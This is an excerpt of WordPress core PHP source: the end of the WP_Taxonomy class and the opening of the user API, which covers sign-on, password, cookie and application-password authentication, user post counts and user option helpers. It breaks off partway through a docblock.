		 * @param array    $args        Array of arguments for registering a taxonomy.
		 *                              See the register_taxonomy() function for accepted arguments.
		 * @param string   $taxonomy    Taxonomy key.
		 * @param string[] $object_type Array of names of object types for the taxonomy.
		 */
		$args = apply_filters( "register_{$taxonomy}_taxonomy_args", $args, $this->name, (array) $object_type );

		$defaults = array(
			'labels'                => array(),
			'description'           => '',
			'public'                => true,
			'publicly_queryable'    => null,
			'hierarchical'          => false,
			'show_ui'               => null,
			'show_in_menu'          => null,
			'show_in_nav_menus'     => null,
			'show_tagcloud'         => null,
			'show_in_quick_edit'    => null,
			'show_admin_column'     => false,
			'meta_box_cb'           => null,
			'meta_box_sanitize_cb'  => null,
			'capabilities'          => array(),
			'rewrite'               => true,
			'query_var'             => $this->name,
			'update_count_callback' => '',
			'show_in_rest'          => false,
			'rest_base'             => false,
			'rest_namespace'        => false,
			'rest_controller_class' => false,
			'default_term'          => null,
			'sort'                  => null,
			'args'                  => null,
			'_builtin'              => false,
		);

		$args = array_merge( $defaults, $args );

		// If not set, default to the setting for 'public'.
		if ( null === $args['publicly_queryable'] ) {
			$args['publicly_queryable'] = $args['public'];
		}

		if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) {
			if ( true === $args['query_var'] ) {
				$args['query_var'] = $this->name;
			} else {
				$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
			}
		} else {
			// Force 'query_var' to false for non-public taxonomies.
			$args['query_var'] = false;
		}

		if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
			$args['rewrite'] = wp_parse_args(
				$args['rewrite'],
				array(
					'with_front'   => true,
					'hierarchical' => false,
					'ep_mask'      => EP_NONE,
				)
			);

			if ( empty( $args['rewrite']['slug'] ) ) {
				$args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name );
			}
		}

		// If not set, default to the setting for 'public'.
		if ( null === $args['show_ui'] ) {
			$args['show_ui'] = $args['public'];
		}

		// If not set, default to the setting for 'show_ui'.
		if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) {
			$args['show_in_menu'] = $args['show_ui'];
		}

		// If not set, default to the setting for 'public'.
		if ( null === $args['show_in_nav_menus'] ) {
			$args['show_in_nav_menus'] = $args['public'];
		}

		// If not set, default to the setting for 'show_ui'.
		if ( null === $args['show_tagcloud'] ) {
			$args['show_tagcloud'] = $args['show_ui'];
		}

		// If not set, default to the setting for 'show_ui'.
		if ( null === $args['show_in_quick_edit'] ) {
			$args['show_in_quick_edit'] = $args['show_ui'];
		}

		// If not set, default rest_namespace to wp/v2 if show_in_rest is true.
		if ( false === $args['rest_namespace'] && ! empty( $args['show_in_rest'] ) ) {
			$args['rest_namespace'] = 'wp/v2';
		}

		$default_caps = array(
			'manage_terms' => 'manage_categories',
			'edit_terms'   => 'manage_categories',
			'delete_terms' => 'manage_categories',
			'assign_terms' => 'edit_posts',
		);

		$args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] );
		unset( $args['capabilities'] );

		$args['object_type'] = array_unique( (array) $object_type );

		// If not set, use the default meta box.
		if ( null === $args['meta_box_cb'] ) {
			if ( $args['hierarchical'] ) {
				$args['meta_box_cb'] = 'post_categories_meta_box';
			} else {
				$args['meta_box_cb'] = 'post_tags_meta_box';
			}
		}

		$args['name'] = $this->name;

		// Default meta box sanitization callback depends on the value of 'meta_box_cb'.
		if ( null === $args['meta_box_sanitize_cb'] ) {
			switch ( $args['meta_box_cb'] ) {
				case 'post_categories_meta_box':
					$args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_checkboxes';
					break;

				case 'post_tags_meta_box':
				default:
					$args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_input';
					break;
			}
		}

		// Default taxonomy term.
		if ( ! empty( $args['default_term'] ) ) {
			if ( ! is_array( $args['default_term'] ) ) {
				$args['default_term'] = array( 'name' => $args['default_term'] );
			}
			$args['default_term'] = wp_parse_args(
				$args['default_term'],
				array(
					'name'        => '',
					'slug'        => '',
					'description' => '',
				)
			);
		}

		foreach ( $args as $property_name => $property_value ) {
			$this->$property_name = $property_value;
		}

		$this->labels = get_taxonomy_labels( $this );
		$this->label  = $this->labels->name;
	}

	/**
	 * Adds the necessary rewrite rules for the taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @global WP $wp Current WordPress environment instance.
	 */
	public function add_rewrite_rules() {
		/* @var WP $wp */
		global $wp;

		// Non-publicly queryable taxonomies should not register query vars, except in the admin.
		if ( false !== $this->query_var && $wp ) {
			$wp->add_query_var( $this->query_var );
		}

		if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
			if ( $this->hierarchical && $this->rewrite['hierarchical'] ) {
				$tag = '(.+?)';
			} else {
				$tag = '([^/]+)';
			}

			add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" );
			add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite );
		}
	}

	/**
	 * Removes any rewrite rules, permastructs, and rules for the taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @global WP $wp Current WordPress environment instance.
	 */
	public function remove_rewrite_rules() {
		/* @var WP $wp */
		global $wp;

		// Remove query var.
		if ( false !== $this->query_var ) {
			$wp->remove_query_var( $this->query_var );
		}

		// Remove rewrite tags and permastructs.
		if ( false !== $this->rewrite ) {
			remove_rewrite_tag( "%$this->name%" );
			remove_permastruct( $this->name );
		}
	}

	/**
	 * Registers the ajax callback for the meta box.
	 *
	 * @since 4.7.0
	 */
	public function add_hooks() {
		add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
	}

	/**
	 * Removes the ajax callback for the meta box.
	 *
	 * @since 4.7.0
	 */
	public function remove_hooks() {
		remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
	}

	/**
	 * Gets the REST API controller for this taxonomy.
	 *
	 * Will only instantiate the controller class once per request.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_REST_Controller|null The controller instance, or null if the taxonomy
	 *                                 is set not to show in rest.
	 */
	public function get_rest_controller() {
		if ( ! $this->show_in_rest ) {
			return null;
		}

		$class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Terms_Controller::class;

		if ( ! class_exists( $class ) ) {
			return null;
		}

		if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) {
			return null;
		}

		if ( ! $this->rest_controller ) {
			$this->rest_controller = new $class( $this->name );
		}

		if ( ! ( $this->rest_controller instanceof $class ) ) {
			return null;
		}

		return $this->rest_controller;
	}

	/**
	 * Returns the default labels for taxonomies.
	 *
	 * @since 6.0.0
	 *
	 * @return (string|null)[][] The default labels for taxonomies.
	 */
	public static function get_default_labels() {
		if ( ! empty( self::$default_labels ) ) {
			return self::$default_labels;
		}

		$name_field_description   = __( 'The name is how it appears on your site.' );
		$slug_field_description   = __( 'The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' );
		$parent_field_description = __( 'Assign a parent term to create a hierarchy. The term Jazz, for example, would be the parent of Bebop and Big Band.' );
		$desc_field_description   = __( 'The description is not prominent by default; however, some themes may show it.' );

		self::$default_labels = array(
			'name'                       => array( _x( 'Tags', 'taxonomy general name' ), _x( 'Categories', 'taxonomy general name' ) ),
			'singular_name'              => array( _x( 'Tag', 'taxonomy singular name' ), _x( 'Category', 'taxonomy singular name' ) ),
			'search_items'               => array( __( 'Search Tags' ), __( 'Search Categories' ) ),
			'popular_items'              => array( __( 'Popular Tags' ), null ),
			'all_items'                  => array( __( 'All Tags' ), __( 'All Categories' ) ),
			'parent_item'                => array( null, __( 'Parent Category' ) ),
			'parent_item_colon'          => array( null, __( 'Parent Category:' ) ),
			'name_field_description'     => array( $name_field_description, $name_field_description ),
			'slug_field_description'     => array( $slug_field_description, $slug_field_description ),
			'parent_field_description'   => array( null, $parent_field_description ),
			'desc_field_description'     => array( $desc_field_description, $desc_field_description ),
			'edit_item'                  => array( __( 'Edit Tag' ), __( 'Edit Category' ) ),
			'view_item'                  => array( __( 'View Tag' ), __( 'View Category' ) ),
			'update_item'                => array( __( 'Update Tag' ), __( 'Update Category' ) ),
			'add_new_item'               => array( __( 'Add New Tag' ), __( 'Add New Category' ) ),
			'new_item_name'              => array( __( 'New Tag Name' ), __( 'New Category Name' ) ),
			'separate_items_with_commas' => array( __( 'Separate tags with commas' ), null ),
			'add_or_remove_items'        => array( __( 'Add or remove tags' ), null ),
			'choose_from_most_used'      => array( __( 'Choose from the most used tags' ), null ),
			'not_found'                  => array( __( 'No tags found.' ), __( 'No categories found.' ) ),
			'no_terms'                   => array( __( 'No tags' ), __( 'No categories' ) ),
			'filter_by_item'             => array( null, __( 'Filter by category' ) ),
			'items_list_navigation'      => array( __( 'Tags list navigation' ), __( 'Categories list navigation' ) ),
			'items_list'                 => array( __( 'Tags list' ), __( 'Categories list' ) ),
			/* translators: Tab heading when selecting from the most used terms. */
			'most_used'                  => array( _x( 'Most Used', 'tags' ), _x( 'Most Used', 'categories' ) ),
			'back_to_items'              => array( __( '&larr; Go to Tags' ), __( '&larr; Go to Categories' ) ),
			'item_link'                  => array(
				_x( 'Tag Link', 'navigation link block title' ),
				_x( 'Category Link', 'navigation link block title' ),
			),
			'item_link_description'      => array(
				_x( 'A link to a tag.', 'navigation link block description' ),
				_x( 'A link to a category.', 'navigation link block description' ),
			),
		);

		return self::$default_labels;
	}

	/**
	 * Resets the cache for the default labels.
	 *
	 * @since 6.0.0
	 */
	public static function reset_default_labels() {
		self::$default_labels = array();
	}
}
<?php
/**
 * Core User API
 *
 * @package WordPress
 * @subpackage Users
 */

/**
 * Authenticates and logs a user in with 'remember' capability.
 *
 * The credentials is an array that has 'user_login', 'user_password', and
 * 'remember' indices. If the credentials is not given, then the log in form
 * will be assumed and used if set.
 *
 * The various authentication cookies will be set by this function and will be
 * set for a longer period depending on if the 'remember' credential is set to
 * true.
 *
 * Note: wp_signon() doesn't handle setting the current user. This means that if the
 * function is called before the {@see 'init'} hook is fired, is_user_logged_in() will
 * evaluate as false until that point. If is_user_logged_in() is needed in conjunction
 * with wp_signon(), wp_set_current_user() should be called explicitly.
 *
 * @since 2.5.0
 *
 * @global string $auth_secure_cookie
 *
 * @param array       $credentials {
 *     Optional. User info in order to sign on.
 *
 *     @type string $user_login    Username.
 *     @type string $user_password User password.
 *     @type bool   $remember      Whether to 'remember' the user. Increases the time
 *                                 that the cookie will be kept. Default false.
 * }
 * @param string|bool $secure_cookie Optional. Whether to use secure cookie.
 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
 */
function wp_signon( $credentials = array(), $secure_cookie = '' ) {
	if ( empty( $credentials ) ) {
		$credentials = array(
			'user_login'    => '',
			'user_password' => '',
			'remember'      => false,
		);

		if ( ! empty( $_POST['log'] ) ) {
			$credentials['user_login'] = wp_unslash( $_POST['log'] );
		}
		if ( ! empty( $_POST['pwd'] ) ) {
			$credentials['user_password'] = $_POST['pwd'];
		}
		if ( ! empty( $_POST['rememberme'] ) ) {
			$credentials['remember'] = $_POST['rememberme'];
		}
	}

	if ( ! empty( $credentials['remember'] ) ) {
		$credentials['remember'] = true;
	} else {
		$credentials['remember'] = false;
	}

	/**
	 * Fires before the user is authenticated.
	 *
	 * The variables passed to the callbacks are passed by reference,
	 * and can be modified by callback functions.
	 *
	 * @since 1.5.1
	 *
	 * @todo Decide whether to deprecate the wp_authenticate action.
	 *
	 * @param string $user_login    Username (passed by reference).
	 * @param string $user_password User password (passed by reference).
	 */
	do_action_ref_array( 'wp_authenticate', array( &$credentials['user_login'], &$credentials['user_password'] ) );

	if ( '' === $secure_cookie ) {
		$secure_cookie = is_ssl();
	}

	/**
	 * Filters whether to use a secure sign-on cookie.
	 *
	 * @since 3.1.0
	 *
	 * @param bool  $secure_cookie Whether to use a secure sign-on cookie.
	 * @param array $credentials {
	 *     Array of entered sign-on data.
	 *
	 *     @type string $user_login    Username.
	 *     @type string $user_password Password entered.
	 *     @type bool   $remember      Whether to 'remember' the user. Increases the time
	 *                                 that the cookie will be kept. Default false.
	 * }
	 */
	$secure_cookie = apply_filters( 'secure_signon_cookie', $secure_cookie, $credentials );

	global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie().
	$auth_secure_cookie = $secure_cookie;

	add_filter( 'authenticate', 'wp_authenticate_cookie', 30, 3 );

	$user = wp_authenticate( $credentials['user_login'], $credentials['user_password'] );

	if ( is_wp_error( $user ) ) {
		return $user;
	}

	wp_set_auth_cookie( $user->ID, $credentials['remember'], $secure_cookie );
	/**
	 * Fires after the user has successfully logged in.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $user_login Username.
	 * @param WP_User $user       WP_User object of the logged-in user.
	 */
	do_action( 'wp_login', $user->user_login, $user );
	return $user;
}

/**
 * Authenticates a user, confirming the username and password are valid.
 *
 * @since 2.8.0
 *
 * @param WP_User|WP_Error|null $user     WP_User or WP_Error object from a previous callback. Default null.
 * @param string                $username Username for authentication.
 * @param string                $password Password for authentication.
 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
 */
function wp_authenticate_username_password( $user, $username, $password ) {
	if ( $user instanceof WP_User ) {
		return $user;
	}

	if ( empty( $username ) || empty( $password ) ) {
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$error = new WP_Error();

		if ( empty( $username ) ) {
			$error->add( 'empty_username', __( '<strong>Error:</strong> The username field is empty.' ) );
		}

		if ( empty( $password ) ) {
			$error->add( 'empty_password', __( '<strong>Error:</strong> The password field is empty.' ) );
		}

		return $error;
	}

	$user = get_user_by( 'login', $username );

	if ( ! $user ) {
		return new WP_Error(
			'invalid_username',
			sprintf(
				/* translators: %s: User name. */
				__( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site. If you are unsure of your username, try your email address instead.' ),
				$username
			)
		);
	}

	/**
	 * Filters whether the given user can be authenticated with the provided password.
	 *
	 * @since 2.5.0
	 *
	 * @param WP_User|WP_Error $user     WP_User or WP_Error object if a previous
	 *                                   callback failed authentication.
	 * @param string           $password Password to check against the user.
	 */
	$user = apply_filters( 'wp_authenticate_user', $user, $password );
	if ( is_wp_error( $user ) ) {
		return $user;
	}

	if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
		return new WP_Error(
			'incorrect_password',
			sprintf(
				/* translators: %s: User name. */
				__( '<strong>Error:</strong> The password you entered for the username %s is incorrect.' ),
				'<strong>' . $username . '</strong>'
			) .
			' <a href="' . wp_lostpassword_url() . '">' .
			__( 'Lost your password?' ) .
			'</a>'
		);
	}

	return $user;
}

/**
 * Authenticates a user using the email and password.
 *
 * @since 4.5.0
 *
 * @param WP_User|WP_Error|null $user     WP_User or WP_Error object if a previous
 *                                        callback failed authentication.
 * @param string                $email    Email address for authentication.
 * @param string                $password Password for authentication.
 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
 */
function wp_authenticate_email_password( $user, $email, $password ) {
	if ( $user instanceof WP_User ) {
		return $user;
	}

	if ( empty( $email ) || empty( $password ) ) {
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$error = new WP_Error();

		if ( empty( $email ) ) {
			// Uses 'empty_username' for back-compat with wp_signon().
			$error->add( 'empty_username', __( '<strong>Error:</strong> The email field is empty.' ) );
		}

		if ( empty( $password ) ) {
			$error->add( 'empty_password', __( '<strong>Error:</strong> The password field is empty.' ) );
		}

		return $error;
	}

	if ( ! is_email( $email ) ) {
		return $user;
	}

	$user = get_user_by( 'email', $email );

	if ( ! $user ) {
		return new WP_Error(
			'invalid_email',
			__( 'Unknown email address. Check again or try your username.' )
		);
	}

	/** This filter is documented in wp-includes/user.php */
	$user = apply_filters( 'wp_authenticate_user', $user, $password );

	if ( is_wp_error( $user ) ) {
		return $user;
	}

	if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
		return new WP_Error(
			'incorrect_password',
			sprintf(
				/* translators: %s: Email address. */
				__( '<strong>Error:</strong> The password you entered for the email address %s is incorrect.' ),
				'<strong>' . $email . '</strong>'
			) .
			' <a href="' . wp_lostpassword_url() . '">' .
			__( 'Lost your password?' ) .
			'</a>'
		);
	}

	return $user;
}

/**
 * Authenticates the user using the WordPress auth cookie.
 *
 * @since 2.8.0
 *
 * @global string $auth_secure_cookie
 *
 * @param WP_User|WP_Error|null $user     WP_User or WP_Error object from a previous callback. Default null.
 * @param string                $username Username. If not empty, cancels the cookie authentication.
 * @param string                $password Password. If not empty, cancels the cookie authentication.
 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
 */
function wp_authenticate_cookie( $user, $username, $password ) {
	if ( $user instanceof WP_User ) {
		return $user;
	}

	if ( empty( $username ) && empty( $password ) ) {
		$user_id = wp_validate_auth_cookie();
		if ( $user_id ) {
			return new WP_User( $user_id );
		}

		global $auth_secure_cookie;

		if ( $auth_secure_cookie ) {
			$auth_cookie = SECURE_AUTH_COOKIE;
		} else {
			$auth_cookie = AUTH_COOKIE;
		}

		if ( ! empty( $_COOKIE[ $auth_cookie ] ) ) {
			return new WP_Error( 'expired_session', __( 'Please log in again.' ) );
		}

		// If the cookie is not set, be silent.
	}

	return $user;
}

/**
 * Authenticates the user using an application password.
 *
 * @since 5.6.0
 *
 * @param WP_User|WP_Error|null $input_user WP_User or WP_Error object if a previous
 *                                          callback failed authentication.
 * @param string                $username   Username for authentication.
 * @param string                $password   Password for authentication.
 * @return WP_User|WP_Error|null WP_User on success, WP_Error on failure, null if
 *                               null is passed in and this isn't an API request.
 */
function wp_authenticate_application_password( $input_user, $username, $password ) {
	if ( $input_user instanceof WP_User ) {
		return $input_user;
	}

	if ( ! WP_Application_Passwords::is_in_use() ) {
		return $input_user;
	}

	// The 'REST_REQUEST' check here may happen too early for the constant to be available.
	$is_api_request = ( ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) );

	/**
	 * Filters whether this is an API request that Application Passwords can be used on.
	 *
	 * By default, Application Passwords is available for the REST API and XML-RPC.
	 *
	 * @since 5.6.0
	 *
	 * @param bool $is_api_request If this is an acceptable API request.
	 */
	$is_api_request = apply_filters( 'application_password_is_api_request', $is_api_request );

	if ( ! $is_api_request ) {
		return $input_user;
	}

	$error = null;
	$user  = get_user_by( 'login', $username );

	if ( ! $user && is_email( $username ) ) {
		$user = get_user_by( 'email', $username );
	}

	// If the login name is invalid, short circuit.
	if ( ! $user ) {
		if ( is_email( $username ) ) {
			$error = new WP_Error(
				'invalid_email',
				__( '<strong>Error:</strong> Unknown email address. Check again or try your username.' )
			);
		} else {
			$error = new WP_Error(
				'invalid_username',
				__( '<strong>Error:</strong> Unknown username. Check again or try your email address.' )
			);
		}
	} elseif ( ! wp_is_application_passwords_available() ) {
		$error = new WP_Error(
			'application_passwords_disabled',
			__( 'Application passwords are not available.' )
		);
	} elseif ( ! wp_is_application_passwords_available_for_user( $user ) ) {
		$error = new WP_Error(
			'application_passwords_disabled_for_user',
			__( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' )
		);
	}

	if ( $error ) {
		/**
		 * Fires when an application password failed to authenticate the user.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_Error $error The authentication error.
		 */
		do_action( 'application_password_failed_authentication', $error );

		return $error;
	}

	/*
	 * Strips out anything non-alphanumeric. This is so passwords can be used with
	 * or without spaces to indicate the groupings for readability.
	 *
	 * Generated application passwords are exclusively alphanumeric.
	 */
	$password = preg_replace( '/[^a-z\d]/i', '', $password );

	$hashed_passwords = WP_Application_Passwords::get_user_application_passwords( $user->ID );

	foreach ( $hashed_passwords as $key => $item ) {
		if ( ! wp_check_password( $password, $item['password'], $user->ID ) ) {
			continue;
		}

		$error = new WP_Error();

		/**
		 * Fires when an application password has been successfully checked as valid.
		 *
		 * This allows for plugins to add additional constraints to prevent an application password from being used.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_Error $error    The error object.
		 * @param WP_User  $user     The user authenticating.
		 * @param array    $item     The details about the application password.
		 * @param string   $password The raw supplied password.
		 */
		do_action( 'wp_authenticate_application_password_errors', $error, $user, $item, $password );

		if ( is_wp_error( $error ) && $error->has_errors() ) {
			/** This action is documented in wp-includes/user.php */
			do_action( 'application_password_failed_authentication', $error );

			return $error;
		}

		WP_Application_Passwords::record_application_password_usage( $user->ID, $item['uuid'] );

		/**
		 * Fires after an application password was used for authentication.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_User $user The user who was authenticated.
		 * @param array   $item The application password used.
		 */
		do_action( 'application_password_did_authenticate', $user, $item );

		return $user;
	}

	$error = new WP_Error(
		'incorrect_password',
		__( 'The provided password is an invalid application password.' )
	);

	/** This action is documented in wp-includes/user.php */
	do_action( 'application_password_failed_authentication', $error );

	return $error;
}

/**
 * Validates the application password credentials passed via Basic Authentication.
 *
 * @since 5.6.0
 *
 * @param int|false $input_user User ID if one has been determined, false otherwise.
 * @return int|false The authenticated user ID if successful, false otherwise.
 */
function wp_validate_application_password( $input_user ) {
	// Don't authenticate twice.
	if ( ! empty( $input_user ) ) {
		return $input_user;
	}

	if ( ! wp_is_application_passwords_available() ) {
		return $input_user;
	}

	// Both $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW'] must be set in order to attempt authentication.
	if ( ! isset( $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'] ) ) {
		return $input_user;
	}

	$authenticated = wp_authenticate_application_password( null, $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'] );

	if ( $authenticated instanceof WP_User ) {
		return $authenticated->ID;
	}

	// If it wasn't a user what got returned, just pass on what we had received originally.
	return $input_user;
}

/**
 * For Multisite blogs, checks if the authenticated user has been marked as a
 * spammer, or if the user's primary blog has been marked as spam.
 *
 * @since 3.7.0
 *
 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
 * @return WP_User|WP_Error WP_User on success, WP_Error if the user is considered a spammer.
 */
function wp_authenticate_spam_check( $user ) {
	if ( $user instanceof WP_User && is_multisite() ) {
		/**
		 * Filters whether the user has been marked as a spammer.
		 *
		 * @since 3.7.0
		 *
		 * @param bool    $spammed Whether the user is considered a spammer.
		 * @param WP_User $user    User to check against.
		 */
		$spammed = apply_filters( 'check_is_user_spammed', is_user_spammy( $user ), $user );

		if ( $spammed ) {
			return new WP_Error( 'spammer_account', __( '<strong>Error:</strong> Your account has been marked as a spammer.' ) );
		}
	}
	return $user;
}

/**
 * Validates the logged-in cookie.
 *
 * Checks the logged-in cookie if the previous auth cookie could not be
 * validated and parsed.
 *
 * This is a callback for the {@see 'determine_current_user'} filter, rather than API.
 *
 * @since 3.9.0
 *
 * @param int|false $user_id The user ID (or false) as received from
 *                           the `determine_current_user` filter.
 * @return int|false User ID if validated, false otherwise. If a user ID from
 *                   an earlier filter callback is received, that value is returned.
 */
function wp_validate_logged_in_cookie( $user_id ) {
	if ( $user_id ) {
		return $user_id;
	}

	if ( is_blog_admin() || is_network_admin() || empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
		return false;
	}

	return wp_validate_auth_cookie( $_COOKIE[ LOGGED_IN_COOKIE ], 'logged_in' );
}

/**
 * Gets the number of posts a user has written.
 *
 * @since 3.0.0
 * @since 4.1.0 Added `$post_type` argument.
 * @since 4.3.0 Added `$public_only` argument. Added the ability to pass an array
 *              of post types to `$post_type`.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int          $userid      User ID.
 * @param array|string $post_type   Optional. Single post type or array of post types to count the number of posts for. Default 'post'.
 * @param bool         $public_only Optional. Whether to only return counts for public posts. Default false.
 * @return string Number of posts the user has written in this post type.
 */
function count_user_posts( $userid, $post_type = 'post', $public_only = false ) {
	global $wpdb;

	$where = get_posts_by_author_sql( $post_type, true, $userid, $public_only );

	$count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts $where" );

	/**
	 * Filters the number of posts a user has written.
	 *
	 * @since 2.7.0
	 * @since 4.1.0 Added `$post_type` argument.
	 * @since 4.3.1 Added `$public_only` argument.
	 *
	 * @param int          $count       The user's post count.
	 * @param int          $userid      User ID.
	 * @param string|array $post_type   Single post type or array of post types to count the number of posts for.
	 * @param bool         $public_only Whether to limit counted posts to public posts.
	 */
	return apply_filters( 'get_usernumposts', $count, $userid, $post_type, $public_only );
}

/**
 * Gets the number of posts written by a list of users.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int[]           $users       Array of user IDs.
 * @param string|string[] $post_type   Optional. Single post type or array of post types to check. Defaults to 'post'.
 * @param bool            $public_only Optional. Only return counts for public posts.  Defaults to false.
 * @return string[] Amount of posts each user has written, as strings, keyed by user ID.
 */
function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) {
	global $wpdb;

	$count = array();
	if ( empty( $users ) || ! is_array( $users ) ) {
		return $count;
	}

	$userlist = implode( ',', array_map( 'absint', $users ) );
	$where    = get_posts_by_author_sql( $post_type, true, null, $public_only );

	$result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N );
	foreach ( $result as $row ) {
		$count[ $row[0] ] = $row[1];
	}

	foreach ( $users as $id ) {
		if ( ! isset( $count[ $id ] ) ) {
			$count[ $id ] = 0;
		}
	}

	return $count;
}

//
// User option functions.
//

/**
 * Gets the current user's ID.
 *
 * @since MU (3.0.0)
 *
 * @return int The current user's ID, or 0 if no user is logged in.
 */
function get_current_user_id() {
	if ( ! function_exists( 'wp_get_current_user' ) ) {
		return 0;
	}
	$user = wp_get_current_user();
	return ( isset( $user->ID ) ? (int) $user->ID : 0 );
}

/**
 * Retrieves user option that can be either per Site or per Network.
 *
 * If the user ID is not given, then the current user will be used instead. If
 * the user ID is given, then the user data will be retrieved. The filter for
 * the result, will also pass the original option name and finally the user data
 * object as the third parameter.
 *
 * The option will first check for the per site name and then the per Network name.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $option     User option name.
 * @param int    $user       Optional. User ID.
 * @param string $deprecated Use get_option() to check for an option in the options table.
 * @return mixed User option value on success, false on failure.
 */
function get_user_option( $option, $user = 0, $deprecated = '' ) {
	global $wpdb;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '3.0.0' );
	}

	if ( empty( $user ) ) {
		$user = get_current_user_id();
	}

	$user = get_userdata( $user );
	if ( ! $user ) {
		return false;
	}

	$prefix = $wpdb->get_blog_prefix();
	if ( $user->has_prop( $prefix . $option ) ) { // Blog-specific.
		$result = $user->get( $prefix . $option );
	} elseif ( $user->has_prop( $option ) ) { // User-specific and cross-blog.
		$result = $user->get( $option );
	} else {
		$result = false;
	}

	/**
	 * Filters a specific user option value.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the user option name.
	 *
	 * @since 2.5.0
	 *
	 * @param mixed   $result Value for the user's option.
	 * @param string  $option Name of the option being retrieved.
	 * @param WP_User $user   WP_User object of the user whose option is being retrieved.
	 */
	return apply_filters( "get_user_option_{$option}", $result, $option, $user );
}

/**
 * Updates user option with global blog capability.
 *
 * User options are just like user metadata except that they have support for
 * global blog options. If the 'is_global' parameter is false, which it is by default,
 * it will prepend the WordPress table prefix to the option name.
 *
 * Deletes the user option if $newvalue is empty.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $user_id     User ID.
 * @param string $option_name User option name.
 * @param mixed  $newvalue    User option value.
 * @param bool   $is_global   Optional. Whether option name is global or blog specific.
 *                            Default false (blog specific).
 * @return int|bool User meta ID if the option didn't exist, true on successful update,
 *                  false on failure.
 */
function update_user_option( $user_id, $option_name, $newvalue, $is_global = false ) {
	global $wpdb;

	if ( ! $is_global ) {
		$option_name = $wpdb->get_blog_prefix() . $option_name;
	}

	return update_user_meta( $user_id, $option_name, $newvalue );
}

/**
 * Deletes user option with global blog capability.
 *
 * User options are just like user metadata except that they have support for
 * global blog options. If the 'is_global' parameter is false, which it is by default,
 * it will prepend the WordPress table prefix to the option name.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $user_id     User ID
 * @param string $option_name User option name.
 * @param bool   $is_global   Optional. Whether option name is global or blog specific.
 *                            Default false (blog specific).
 * @return bool True on success, false on failure.
 */
function delete_user_option( $user_id, $option_name, $is_global = false ) {
	global $wpdb;

	if ( ! $is_global ) {
		$option_name = $wpdb->get_blog_prefix() . $option_name;
	}

	return delete_user_meta( $user_id, $option_name );
}

/**
 * Retrieves list of users matching criteria.
 *
 * @since 3.1.0
 *
 * @see WP_User_Query
 *
 * @param array $args Optional. Arguments to retrieve users. See WP_User_Query::prepare_query()
 *                    for more information on accepted arguments.
 * @return array List of users.
 */
function get_users( $args = array() ) {

	$args                = wp_parse_args( $args );
	$args['count_total'] = false;

	$user_search = new WP_User_Query( $args );

	return (array) $user_search->get_results();
}

/**
 * Lists all the users of the site, with several options available.
 *
 * @since 5.9.0
 *
 * @param string|array $args {
 *     Optional. Array or string of default arguments.
 *
 *     @type string $orderby       How to sort the users. Accepts 'nicename', 'email', 'url', 'registered',
 *                                 'user_nicename', 'user_email', 'user_url', 'user_registered', 'name',
 *                                 'display_name', 'post_count', 'ID', 'meta_value', 'user_login'. Default 'name'.
 *     @type string $order         Sorting direction for $orderby. Accepts 'ASC', 'DESC'. Default 'ASC'.
 *     @type int    $number        Maximum users to return or display. Default empty (all users).
 *     @type bool   $exclude_admin Whether to exclude the 'admin' account, if it exists. Default false.
